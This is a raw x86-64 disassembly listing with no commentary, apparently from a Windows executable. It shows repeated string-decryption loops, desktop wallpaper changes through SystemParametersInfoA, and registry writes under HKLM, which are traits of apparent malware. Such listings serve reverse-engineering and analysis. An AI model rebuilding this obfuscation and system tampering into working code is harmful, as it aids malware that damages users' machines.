xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [0x140071390]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400713a0]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400713b0]
movaps xmmword [rsp + 0x70], xmm0
movsd xmm1, qword [0x1400713c0]
movsd qword [rbp - 0x80], xmm1
movzx eax, word [0x1400713c8]
mov word [rbp - 0x78], ax
movzx eax, byte [0x1400713ca]
mov byte [rbp - 0x76], al
mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov eax, dword [0x1400711c0]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1400711c4]
mov word [rbp - 0x2c], ax
movzx eax, byte [0x1400711c6]
movups xmm0, xmmword [0x1400711b0]
mov byte [rbp - 0x2a], al
movups xmmword [rbp - 0x40], xmm0
mov r8d, r13d
cmp esi, 2
jl 0x140013bcb
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140013ac0
cmp r8d, 0x17
jge 0x140013c12
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140013be0
movzx eax, word [0x1400711dc]
mov word [rbp - 0x60], ax
cmp byte [0x1400711dd], r13b
je 0x140013c32
mov byte [rbp - 0x60], 0x2b
xor byte [rbp - 0x5f], 0x37
lea r9, [rbp + 0x150]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov ecx, 0xa
call fcn.140001270
mov r8d, 0x104
lea rdx, [rbp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
lea rax, [rbp + 0x2c0]
mov r8, r12
inc r8
cmp byte [rax + r8], r13b
jne 0x140013c76
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 8]
call fcn.140008f30
nop
lea rbx, [rbp + 8]
mov r14, qword [rbp + 8]
mov r15, qword [rbp + 0x20]
cmp r15, 0x10
cmovae rbx, r14
mov rdi, qword [rbp + 0x18]
test rdi, rdi
je 0x140013d35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0xa8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xad]
call fcn.140026c00
mov byte [rbp + 0xac], 1
lea rax, [rdi - 1]
mov rcx, r12
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x50], 0
jne 0x140013d2d
cmp rcx, rbx
je 0x140013d35
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x50], 0
je 0x140013d17
sub rcx, rbx
jmp 0x140013d38
mov rcx, r12
inc rcx
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
cmp rdi, rcx
jb 0x140015b80
sub rdi, rcx
cmp rdi, 0xffffffffffffffff
cmovb r12, rdi
lea rdx, [rbp + 8]
cmp r15, 0x10
cmovae rdx, r14
add rdx, rcx
mov r8, r12
lea rcx, [rbp - 0x20]
call fcn.140008f30
nop
lea rbx, [rbp - 0x20]
mov r15, qword [rbp - 0x20]
mov r12, qword [rbp - 8]
cmp r12, 0x10
cmovae rbx, r15
mov r14, qword [rbp - 0x10]
cmp r14, 4
jb 0x140013ebb
lea rdi, [r14 + rbx]
lea r8, [rdi - 3]
sub r8, rbx
mov edx, 0x2e
mov rcx, rbx
call fcn.140026fc0
mov r9, rax
test rax, rax
je 0x140013ebb
lea rdx, str..exe
nop dword [rax]
nop dword [rax + rax]
mov rcx, r13
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140013df3
cmp rcx, 4
jne 0x140013dd3
mov eax, r13d
jmp 0x140013df8
sbb eax, eax
or eax, 1
test eax, eax
je 0x140013e2b
inc r9
lea r8, [rdi - 3]
sub r8, r9
mov edx, 0x2e
mov rcx, r9
call fcn.140026fc0
mov r9, rax
test rax, rax
lea rdx, str..exe
jne 0x140013dd0
jmp 0x140013ebb
sub r9, rbx
cmp r9, 0xffffffffffffffff
je 0x140013ebb
mov qword [rsp + 0x30], r13
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
cmp r14, r9
cmovb r9, r14
lea rdx, [rbp - 0x20]
cmp r12, 0x10
cmovae rdx, r15
mov r8, r9
lea rcx, [rsp + 0x30]
call fcn.140008f30
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140013ea9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013ea4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015b86
call fcn.140024220
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x10], xmm1
mov r14d, 4
mov r8d, r14d
lea rdx, str..png
lea rcx, [rbp - 0x20]
call fcn.140006ef0
lea rbx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rbx, qword [rbp - 0x20]
lea r9d, [r14 - 3]
mov r8, rbx
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
movups xmm0, xmmword [0x140071498]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [0x1400714a8]
mov dword [rbp - 0x30], eax
lea r15d, [r14 + 0x1b]
cmp byte [0x1400714ab], 0
je 0x1400140b2
mov r8d, r13d
cmp esi, 2
jl 0x14001406b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140013f60
cmp r8d, 0x14
jge 0x1400140b2
movsxd rax, r8d
lea r10, [rbp - 0x40]
add r10, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r10], cl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x14
jl 0x140014080
movzx eax, word [0x1400711dc]
mov word [rbp - 0x60], ax
cmp byte [0x1400711dd], 0
je 0x1400140d2
mov byte [rbp - 0x60], 0x2b
xor byte [rbp - 0x5f], 0x37
mov r9, rbx
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov ecx, 0xa
call fcn.140001270
xor ecx, ecx
call fcn.14002de04
mov rbx, rax
call fcn.14002e090
movd xmm1, eax
cvtdq2pd xmm1, xmm1
divsd xmm1, qword [0x140082b40]
lea rax, [rbx - 0x56867850]
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
addsd xmm1, qword [0x140082b48]
cvttsd2si rax, xmm1
mov qword [rbp], rax
movups xmm0, xmmword [0x140071158]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov r8d, r13d
cmp esi, 2
jl 0x1400142bb
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400141b0
cmp r8d, 0x2d
jge 0x140014302
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400142d0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140014748
movsd xmm0, qword [0x140071488]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140071490]
mov dword [rbp - 0x38], eax
cmp byte [0x140071493], 0
je 0x1400144a2
mov r8d, r13d
cmp esi, 2
jl 0x140014466
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x140082b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
mov eax, dword [0x140082bf0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140071488]
pxor xmm2, xmm1
movd dword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x140082b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
pxor xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140014470
mov dword [rsp + 0x28], r14d
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140014739
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x14001465b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140014550
cmp r8d, 0x1b
jge 0x1400146a2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140014670
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], 0
je 0x1400146c2
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movsd xmm0, qword [0x140071488]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140071490]
mov dword [rbp - 0x38], eax
movups xmm0, xmmword [0x140071158]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14001499a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], 0
je 0x140014922
mov r8d, r13d
cmp esi, 2
jl 0x1400148dc
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400147d1
cmp r8d, 0x1e
jge 0x140014922
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400148f0
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], 0
je 0x140014942
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [0x140071158]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071168]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x140071178]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140071180]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x140071184]
mov byte [rsp + 0x7c], al
mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
lea rdx, [rbp]
lea rcx, [rbp + 0x28]
call fcn.14002af68
movups xmm0, xmmword [0x1400711c8]
movups xmmword [rbp - 0x40], xmm0
movzx eax, word [0x1400711d8]
mov word [rbp - 0x30], ax
cmp byte [0x1400711d9], 0
je 0x140014b62
mov r8d, r13d
cmp esi, 2
jl 0x140014b1b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140014a10
cmp r8d, 0x12
jge 0x140014b62
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140014b30
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x40]
mov edx, 0x5a
lea rcx, [rbp + 0x260]
call fcn.140030118
movups xmm0, xmmword [0x140079f28]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [0x140079f38]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140079f3c]
mov word [rbp - 0x2c], ax
cmp byte [0x140079f3d], 0
je 0x140014d42
mov r8d, r13d
cmp esi, 2
jl 0x140014cfb
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, r14d
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
